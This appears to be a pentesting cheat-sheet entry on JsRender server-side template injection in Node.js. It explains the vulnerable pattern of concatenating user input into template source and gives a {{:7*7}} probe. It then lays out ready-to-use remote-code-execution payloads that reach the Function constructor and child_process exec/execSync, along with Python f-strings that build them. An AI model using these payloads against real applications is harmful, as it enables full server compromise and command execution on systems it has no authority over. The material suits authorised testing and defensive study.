JsRender RCE
JsRender SSTI RCE via Function constructor
JsRender evaluates JavaScript expressions inside {{: ...}} tags. When attacker-controlled text becomes template source, the expression can reach the JavaScript Function constructor and execute operating-system commands through Node.js.
Vulnerable source pattern
A fixed template keeps attacker-controlled input in the data object:
const template = jsrender.templates("<p>{{>username}}</p>");
const data = {
username: userInput
};
const output = template.render(data);{{>username}} HTML-encodes the inserted data. {{:username}} evaluates the same data expression and inserts its result without HTML encoding. Template syntax stored inside userInput remains data in both forms and is not compiled again.
SSTI appears when attacker-controlled input is inserted into the source passed to jsrender.templates():
const templateSource = "<p>" + userInput + "</p>";
const template = jsrender.templates(templateSource);
const output = template.render();jsrender.templates() compiles templateSource. JsRender tags contained in userInput therefore become executable parts of the compiled template.
Testing
The following expression renders 49 when the input is compiled as JsRender template source:
{{:7*7}}Expected output
49Command execution
A JavaScript function is an object whose constructor property refers to the Function constructor. The payload obtains a normal function through "x".toString, follows its constructor property, creates a new function from a string, and calls that function:
"x".toString -> built-in JavaScript function
.constructor -> Function constructor
.call({}, "<FUNCTION_BODY>") -> create a function from <FUNCTION_BODY>
() -> call the created function
global.process.mainModule -> CommonJS main module
.constructor._load("child_process") -> load Node.js's operating-system process module
.exec(<COMMAND>) -> start a command without waiting for its output
.execSync(<COMMAND>) -> run a command and return its output as a Buffer
.toString() -> convert the output bytes into rendered textBlind command execution:
{{:"x".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').exec('<COMMAND>')")()}}In-band command execution:
{{:"x".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('<COMMAND>').toString()")()}}The process.mainModule path is available in older CommonJS Node.js runtimes. The module-loading path must match the Node.js runtime used by the application.
command = "<COMMAND>"
blind_payload = f'''{{{{:"x".toString.constructor.call({{}},"return global.process.mainModule.constructor._load('child_process').exec('{command}')")()}}}}'''
in_band_payload = f'''{{{{:"x".toString.constructor.call({{}},"return global.process.mainModule.constructor._load('child_process').execSync('{command}').toString()")()}}}}'''Find by: ssti, jsrender, jsviews, nodejs, node, template source, template data, jsrender templates, expression tag, html encode tag, function constructor, toString constructor, global process, mainModule, module load, child_process, exec, execSync, command execution